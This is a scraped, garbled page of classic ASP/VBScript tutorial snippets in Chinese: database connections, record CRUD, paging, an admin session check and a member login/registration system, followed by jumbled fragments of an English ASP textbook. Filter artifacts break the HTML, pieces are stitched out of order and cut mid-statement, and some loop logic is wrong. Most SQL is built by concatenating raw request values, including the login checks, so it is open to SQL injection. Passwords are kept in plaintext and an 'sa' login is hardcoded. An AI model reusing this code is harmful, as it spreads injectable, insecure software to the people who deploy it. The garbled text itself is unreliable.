疯狂代码 / ĵ:http://Asp/Article15994.html 1. _disibledevent=><table border _disibledevent=>2. <body _disibledevent=>3. _disibledevent=>4. _disibledevent=>5. <link rel=\"Shortcut Icon\" document.referrer 16. 最小化、最大化、关闭窗口 <object id=hh1 id=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"> <param name=\"Command\" value=\"Minimize\"></object> <object id=hh2 id=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"> <param name=\"Command\" value=\"Maximize\"></object>[Page] <OBJECT id=hh3 id=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\"> <PARAM NAME=\"Command\" value=\"Close\"></OBJECT> <input type=button value=最小化 _disibledevent=><input type=button value=最大化 _disibledevent=><input type=button value=关闭 _disibledevent=>本例适用于IE 17. <% 定义数据库连接些常量 Const adOpenForwardOnly = 0 游标只向前浏览记录不支持分页、Record、BookMark Const adOpenKey = 1 键集游标其他用户对记录说做修改将反映到记录集中但其他用户增加或删除记录不会 反映到记录集中支持分页、Record、BookMark Const adOpenDynamic = 2 动态游标功能最强但耗资源也最多用户对记录说做修改增加或删除记录都将反映 到记录集中支持全功能浏览(ACCESS不支持) Const adOpenStatic = 3 静态游标只是数据个快照用户对记录说做修改增加或删除记录都不会反映到记录集 中支持向前或向后移动 Const adLockReadOnly = 1 锁定类型默认只读不能作任何修改 Const adLockPessimistic = 2 当编辑时立即锁定记录最安全方式 Const adLockOptimistic = 3 只有在Update思路方法时才锁定记录集而在此前其他操作仍可对当前记录进行 更改、插入和删除等 Const adLockBatchOptimistic = 4 当编辑时记录不会被锁定而更改、插入和删除是在批处理方式下完成 Const adCmdText = &H <script language=\"javascript\"><!-function checkNum(str){ str.match(/\\D/)null} alert(checkNum(\"1232142141\")) alert(checkNum(\"123214214a1\"))
asp常用代码大全
asp常用代码大全x1、ASP开始结束符语法:< % %> 文件后缀.asp2、判断语句:判断表单传来的用户名和密码是否正确,并提示If request("username")="admin" thenResponse.write"恭喜,你已经登录成功"ElseResponse.write"对不起,您输入的用户名错误,请返回重输入"End ifIf request("name")="admin" and request("pass")="admin"thenResponse.redirect"admin.asp"ElseResponse.redirect"login.asp"End if3、循环语句:循环显示6条数据库中的记录写法1:for n=1 to 6response.write rs("title")&"< br>"if not rs.eof thenexit forelsers.movenextend ifnext写法二:do while not rs.eofresponse.write rs("title")&"< br>"rs.movenextloop4、常用变量转换函数:Now() 函数返回系统时间Date() 函数返回当前系统日期.CStr(int) 函数转化一个表达式为字符串CInt(string) 将一个表达式转化为数字类型Trim(request("username")) 函数去掉字符串左右的空格Left(rs("title"),10) 函数返回字符串左边第length个字符以前的字符(含第length个字符),一般在限制新闻标题的显示长度的时候用Len(string) 函数返回字符串的长度.5、Access数据库连接代码方法一:db="mydata.mdb" ‘如果放在目录中,就要写明"database/mydata.mdb"Set conn = Server.CreateObject("ADODB.Connection")connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)conn.Open connstr方法二:'如果你的服务器采用较老版本Access驱动,请用下面连接方法db="mydata.mdb" ‘如果放在目录中,就要写明"database/mydata.mdb"Set conn = Server.CreateObject("ADODB.Connection")connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db)conn.Open connstr6、Recordset对象操作数据库语法(1)打开sql语句指定的表中的数据,把这批数据放入rs对象中取出news表中所有的数据放到rs中Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select * from news"Rs.Open SqlStr,conn,1,1取出news表中前6条数据放到rs中Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select top 6 * from news"Rs.Open SqlStr,conn,1,1(2)循环显示6条rs对象中存在的数据,列表显示不带连接的写法for n=1 to 6response.write rs("title")&"< br>"if not rs.eof thenexit forelsers.movenextend ifnext带连接的写法for n=1 to 6response.write "< a href=show.asp?id=rs("id")>"& left(rs("title"),20)&"< /a>< br>"if not rs.eof thenexit forelsers.movenextend ifnext(3)向数据库添加一条数据代码Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select * from news"Rs.Open SqlStr,conn,1,3 ‘注意这里的1,3代表可以写入的打开数据表Rs.addnewRs("title")=trim(request("title"))Rs("neirong")=request("neirong")Rs("date")=now()rs.update ‘真正写入数据库(4)修改一条记录的代码,通过(2)中的连接传递过来了id数值Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select * from news where id="&request("id")Rs.Open SqlStr,conn,1,3 ‘注意这里的1,3代表可以写入的打开数据表Rs("title")=trim(request("title"))Rs("neirong")=request("neirong")Rs("date")=now()rs.update ‘真正写入数据库(5)删除数据库中一条记录,通过连接传递过来了数据得id数值Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select * from news where id="&request("id")Rs.Open SqlStr,conn,1,3 ‘注意这里的1,3代表可以写入的打开数据表rs.delete ‘删除该条数据7、标准Sql语句写法包括取全部记录Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select * from news"Rs.Open SqlStr,conn,1,1 ‘运行sql语句,把数据提出到rs对象中选取几条数据Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select top 6 * from news"Rs.Open SqlStr,conn,1,1 ‘运行sql语句,把6条数据提出到rs 对象中选取一条指定表中id字段数值的数据Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select * from news where id="&request("id")Rs.Open SqlStr,conn,1,1 ‘运行sql语句,把6条数据提出到rs 对象中添加一条表单传过来的数据替换Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="insert into news(title,neirong) values(request("title"), request("neirong"))修改一条指定表中id字段数值的数据,用表单传过来的数据替换Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="update news set title=’"&request("title")&"’,neirong=’"&request("内容")&"’ where id="&request("id")Rs.Open SqlStr,conn,1,3 ‘运行sql语句,把数据提出到rs对象中删除一条指定表中id字段数值的数据Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="delete from news where id="&request("id")Rs.Open SqlStr,conn,1,3 ‘运行sql语句,把数据提出到rs对象中8、当点击按钮时候表单带着的数据传送到哪个文件,在哪里指定?< form method="post" action="addsave.asp">< input type="text" name="title">< input type="text" name="neirong">< input type="submit" name="Submit" value="提交">< /form>9、表单提交来的数据接收并显示到屏幕上的代码response.write request("name")response.write now()response.write trim(request("name"))10、利用Application对象作计数器的语法在网页的头部加入Application.LockApplication("counter") = Application("counter") + 1Application.UnLock在需要显示计数内容的网页的地方,加入下面的语句response.write Application("counter")11、利用Session对象保护后台管理页面admin.asp,防止未登陆用户进入在网站后台网页admin.asp的头部加入下面的代码,if session(admin)< >"ok" thenresponse.redirect"login.asp"response.endend if在网站后台登陆页的密码验证部分标准写法AdmName=Request.Form("Name")AdmPass=Request.Form("Pass")Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="Select * from Admin where name='"&AdmName&"' and pass='"&AdmPass&"'"Rs.Open SqlStr,conn,1,3if Rs.EOF AND RS.BOF thenResponse.Redirect("login.asp")response.endelsesession("admin")="ok"Response.Redirect("admin.asp")response.endend if12、分页代码sql = "select……………………省略了sql语句Set rs=Server.Createobject("ADODB.RECORDSET")rs.Open sql, conn, 1, 1if not rs.eof thenpages = 30 '定义每页显示的记录数rs.pageSize = pages '定义每页显示的记录数allPages = rs.pageCount '计算一共能分多少页page = Request.QueryString("page")'通过浏览器传递的页数’if语句属于基本的排错处理if isEmpty(page) or Cint(page) < 1 thenpage = 1elseif Cint(page) > allPages thenpage = allPagesend ifrs.AbsolutePage = pageDo while not rs.eof and pages > 0'这里输出你要的内容………………pages = pages - 1rs.MoveNextLoopelseResponse.Write("数据库暂无内容!")End ifrs.CloseSet rs = Nothing分页页码连接和跳转页码程序< form Action="v3.asp" Method="GET">< %If Page < > 1 ThenResponse.Write "< A HREF=?Page=1>第一页< /A>"Response.Write "< A HREF=?Page=" & (Page-1) & ">上一页< /A>"End IfIf Page < > rs.PageCount ThenResponse.Write "< A HREF=?Page=" & (Page+1) & ">下一页< /A>"Response.Write "< A HREF=?Page=" & rs.PageCount & ">最后一页< /A>"End If%>< p>输入页数:< input TYPE="TEXT" Name="Page" SIZE="3"> 页数:< font COLOR="Red">< %=Page%>/< %=rs.PageCount%>< /font> < /p>< /form>13、分行列显示图片和产品名称的代码(4列x3行=12个)< %Set Rs=Server.CreateObject("ADODB.RecordSet")SqlStr="select top 12 * from myproduct"Rs.Open SqlStr,conn,1,1i=1%>< table width="90%" border="1" cellspacing="0" sellpadding="0">< tr>< %do while not rs.eof%>< td align="center">< img src="< %=rs("imgurl")%>" width="52" height="120">< br>< %=rs("productname")%>< /td>< % if i mod 4=0 then response.write"< /tr>< tr>"i=i+1rs.movenextlooprs.close%>< /tr>< /table>14、ASP数据库连接之ACCESS-SQLSERVER< %IsSqlData=0 定义数据库类别,0为Access数据库,1为SQL 数据库If IsSqlData=0 ThenAccess数据库datapath ="data/" 数据库目录的相对路径datafile ="data.mdb" 数据库的文件名connstr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Server.MapPath(""&datapath&""&datafile&"") Connstr="DBQ="&server.mappath(""&datapath&""&datafil e&"")&";DRIVER={Microsoft Access Driver (*.mdb)};"ElseSQL数据库SqlLocalName ="(local)" 连接IP [ 本地用 (local) 外地用IP ] SqlUsername ="sa" 用户名SqlPassword ="1" 用户密码SqlDatabaseName="data" 数据库名ConnStr = "Provider=Sqloledb;User ID=" & SqlUsername & "; Password=" & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source=" & SqlLocalName & ";"END IFOn Error Resume NextSet conn=Server.CreateObject("ADODB.Connection")conn.open ConnStrIf Err Thenerr.ClearSet Conn = NothingResponse.Write "数据库连接出错,请检查连接字串。
ASP登录代码介绍
ASP登录代码介绍1(index.asp 用户登录页面)<!-- #include file="conn.asp" --><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>会员</title><style type="text/css"><!--body,td,th {font-family: 宋体;font-size: 14px;}--></style></head><body><center><p>会员注册系统</p><form name="form1" method="post" action="login.asp"><table width="34%" border="0"><tr><td width="33%" height="30">用户名:</td><td width="67%" height="30"><input name="username" type="text" id="username" size="15"></td></tr><tr><td height="30">密码:</td><td height="30"><input name="password" type="password" id="password" size="15"></td></tr><tr><td colspan="2" align="center"><input type="submit" name="Submit" value="确定"><input type="reset" name="Submit" value="重置"></td></tr><tr><td colspan="2"><a href="reg.asp" target="_self">注册</a></td></tr></table></form></center></body></html>2(login.asp 用户数据处理文件)<!-- #include file="conn.asp" --><%'打开数据库判断用户是否存在,info为表名,username为字段名set rsc=server.createobject("adodb.recordset")sqlc="select * from info where username='"&request.Form("username")&"' and password='"&request.Form("password")&"'"rsc.open sqlc,conn,1,1session("username")=rsc("username")session("password")=rsc("password")session.Timeout=30set rsc=nothingresponse.Redirect("change.asp")'如果用户不存在,session("username")为空%>3(change.asp 用户信息修改页面)<!-- #include file="conn.asp" --><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>修改</title><style type="text/css"><!--body,td,th {font-size: 14px;}--></style></head><center><body><br><%set rsc=server.createobject("adodb.recordset")sqlc="select * from info where username='"&session("username")&"' and password='"&session("password")&"'"rsc.open sqlc,conn,1,1nr=rsc("password")username=rsc("username")password=rsc("password")sex=rsc("sex")qq=rsc("qq")mail=rsc("mail")add=rsc("add")personalinfo=rsc("personalinfo")vv=rsc("ntime")set rsc=nothingif nr="" thenresponse.Redirect("index.asp")end ifif strcomp(nr,request.Form("password"))=0 thenresponse.Write("欢迎你!"&request.Form("username"))response.Write("你是在"&vv&"注册的")session("username")=request.Form("username")end ifif session("username")="" thenresponse.Redirect("index.asp")end if%><form name="form1" method="post" action="change.asp?ac=ch"><table width="39%" height="105" border="0" ><tr><td width="27%" height="30">用户名:</td><td width="73%" height="30"><input name="username" type="text" id="username" value="<%=username%>">*</td></tr><tr><td height="30">密码:</td><td height="30"><input name="password" type="text" id="password" value="<%=password%>">*</td></tr><tr><td height="30">性别:</td><td height="30"><input name="sex" type="text" id="sex" value="<%=sex%>"></td></tr><tr><td height="30">QQ:</td><td height="30"><input name="qq" type="text" id="qq" value="<%=qq%>"></td></tr><tr><td height="30">Mail:</td><td height="30"><input name="mail" type="text" id="mail" value="<%=mail%>"></td></tr><tr><td height="30">地址:</td><td height="30"><input name="add" type="text" id="add" value="<%=add%>"></td></tr><tr><td>介绍</td><td><textarea name="personalinfo" cols="30" rows="6" id="personalinfo"><%=personalinfo%></textarea></td></tr><tr><td> </td><td><input type="submit" name="Submit" value="修改"><a href="change.asp?se=y" target="_self">退出系统</a></td><% if strcomp(request.QueryString("se"),"y")=0 thensession("username")=""response.Redirect("index.asp")end if%></tr></table></form><%if strcomp(request.QueryString("ac"),"ch")=0 thenset rs=server.createobject("adodb.recordset")sql="select * from info where username='"&session("username")&"'"rs.open sql,conn,1,3rs("username")=request.Form("username")rs("password")=request.Form("password")rs("mail")=request.Form("mail")rs("sex")=request.Form("sex")rs("qq")=request.Form("qq")rs("add")=request.Form("add")rs("personalinfo")=request.Form("personalinfo")rs.updateset rs=nothingresponse.Write("修改完成!")end if%></body></center></html>4(reg.asp 新用户注册页面)<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>用户注册</title><style type="text/css"><!--body,td,th {font-family: 宋体;font-size: 14px;}--></style></head><body><center>用户注册<br><%=request.QueryString("msg")%><form name="form1" method="post" action="addnewdata.asp?ac=adduser"><table width="39%" height="105" border="0" ><tr><td width="27%" height="30">用户名:</td><td width="73%" height="30"><input name="username" type="text" id="username"> *</td></tr><tr><td height="30">密码:</td><td height="30"><input name="password" type="password" id="password">*</td></tr><tr><td height="30">确定密码:</td><td height="30"><input name="password2" type="password" id="password2">*</td></tr><tr><td height="30">性别:</td><td height="30"><input name="sex" type="text" id="sex"></td></tr><tr><td height="30">QQ:</td><td height="30"><input name="qq" type="text" id="qq"></td></tr><tr><td height="30">Mail:</td><td height="30"><input name="mail" type="text" id="mail"></td></tr><tr><td height="30">地址:</td><td height="30"><input name="add" type="text" id="add"></td></tr><tr><td>个人介绍</td><td><textarea name="personalinfo" cols="30" rows="6" id="personalinfo"></textarea></td> </tr><tr><td> </td><td><input type="submit" name="Submit" value="提交"></td></tr></table></form></center></body></html>5(addnewdata.asp 新用户注册数据处理文件)<!-- #include file="conn.asp" --><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>成功</title></head><body><%ac=request.QueryString("ac")msg="注册错误信息"if request.Form("username")="" thenmsg=msg&"<br>"&"用户名不能为空"end ifif strcomp(cstr(request.Form("password")),cstr(request.Form("password2")))<>0 thenmsg=msg&"<br>"&"两次密码输入不同"end ifif len(request.Form("password"))<6 thenmsg=msg&"<br>"&"密码太简单"end ifif strcomp(msg,"注册错误信息")>0 thenresponse.Redirect("reg.asp?msg="&msg)end ifif ac="adduser" thenset rsc=server.createobject("adodb.recordset")sql="select * from info where username='"&request.Form("username")&"'" rsc.open sql,conn,1,1ck=rsc("username")set rsc=nothingif ck<>"" thenmsg=msg&"<br>"&"用户名被人注册"response.Redirect("reg.asp?msg="&msg)end ifdsql="select * from info where id is null"set rs=server.createobject("adodb.recordset")rs.open dsql,conn,1,3rs.addnewrs("username")=request.Form("username")rs("password")=request.Form("password")rs("mail")=request.Form("mail")rs("sex")=request.Form("sex")rs("qq")=request.Form("qq")rs("add")=request.Form("add")rs("personalinfo")=request.Form("personalinfo")rs("ntime")=nowrs.updateset rs=nothing%><center><a href="index.asp" target="_self">注册成功,点击登陆</a></center><%end if%></body></html>6(conn.asp 数据库连接文件)<%'连接数据库开始dim conn,rs,sqlon error resume nextdbpath=server.mappath("userinfo.mdb")set conn=server.createobject("adodb.connection")conn.open "PROVIDER=Microsoft.jet.OLEDB.4.0;data source="&dbpath '创建记录对象set rs=server.createobject("adodb.recordset")%>7(userinfo.mdb ACCESS 数据库)在ACCESS中建一个表,然后在这个表中建立字段名称表名:info字段名称数据类型id 自动编号username 文本password 文本sex 文本quest 文本qq 文本mail 文本personalinfo 文本ntime 文本。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
response.write "good morning"
elseif hour(now)>=18 then
response.write "good evening"
else
response.write "good afternoon"
end if
</BODY>
</HTML>
--------------------------------------------------------
<% @LANGUAGE=VBScript %>
<% 'Listing 04.03 setting the content type
response.contenttype="text/plain"
METHOD="POST">
Fist name: <INPUT TYPE="TEXT" NAME ="Firstname"><br>
last name: <INPUT TYPE="TEXT" NAME ="lastname"><br>
Your Message: <TEXTAREA NAME ="message"> Hello,
<% @LANGUAGE=VBScript %>
<% 'Listing 5.2 sending data using the get method
option explicit
response.expires=0
dim strfirstname,strlastname
dim strunformattedmessage,strmessage
-------------------------------------------------------
response.contenttype="application/MSWORD"
response.contenttype="text/plain"
response.contenttype="text/html"
this is a text,
</TEXTAREA><br>
<input type="submit" name="sumbit" value="submit form">
</form>
</body></html>
<%end if %>
-------------------------------------------------------
if request.servervariables("CONTENT_LENGTH")<>0 then
'retrieving form data from post command body
strfirstname=trim(request.form("firstname"))
strlastname=trim(request.form("lastname"))
METHOD="GET">
Fist name: <INPUT TYPE="TEXT" NAME ="firstname"><br>
last name: <INPUT TYPE="TEXT" NAME ="lastname"><br>
Your Message: <TEXTAREA NAME ="message"> Hello,
First name: <%=strfirstname %><br><br>
Last name: <%=strlastname %><br><br>
unformatted message: <%=strunformattedmessage %><br><br>
formatted message:<br><%=strmessage %><br><br>
this is a text,
</TEXTAREA><br>
<input type="submit" name="sumbit" value="submit form">
</form>
</body></html>
<%end if %>
----------------------------------------------------------------------
The submitted querystring:<br>
<%=request.servervariables("QUERY_STRING")%>
</BODY></HTML>
<%
else
%>
<HTML><BODY>
Please provide your name :<br>
<FORM ACTION="<%=REQUEST.Servervariables("SCRIPT_NAME")%>"
The submitted querystring:<br>
<%=request.servervariables("QUERY_STRING")%>
</BODY></HTML>
<%
else
%>
<HTML><BODY>
Please provide your name :<br>
<FORM ACTION="<%=REQUEST.Servervariables("SCRIPT_NAME")%>"
If Now>CDate("12/31/1999") and now<CDate("1/2/2003") then
response.redirect("web.gif")
end if
%>
<HTML>
<BODY>
Today is not Байду номын сангаасhe turn of the century.
response.expires=60 'in minutes
%>
<HTML>
<BODY>
Hello user.<BR>
You are seeing the present hours' message.
<%
'For any reason we are showing another messsage instead
response.expires=0
%>
hello user.
You area seeing a pure text message without HTML tags.
Please note that no <BR> tag is used for line break and
not HTML tag is interpreted as formatting direction.
-----------------------------------------
select case hour(now)
case 1,2,3
response.write "good morning"
case 16
response.write "good afternoon"
case else
strunformattedmessage=trim(request.querystring("message"))
strmessage=(Replace(strunformattedmessage,VbCrLf,"<br>"))
%>
<HTML>
<BODY>
the script has received the from data.<br><br>
http_user_agent :ie nt5.0
server_name: netcom
HTTP_HOST:133.104.52.39
-----------------------------------------------------------------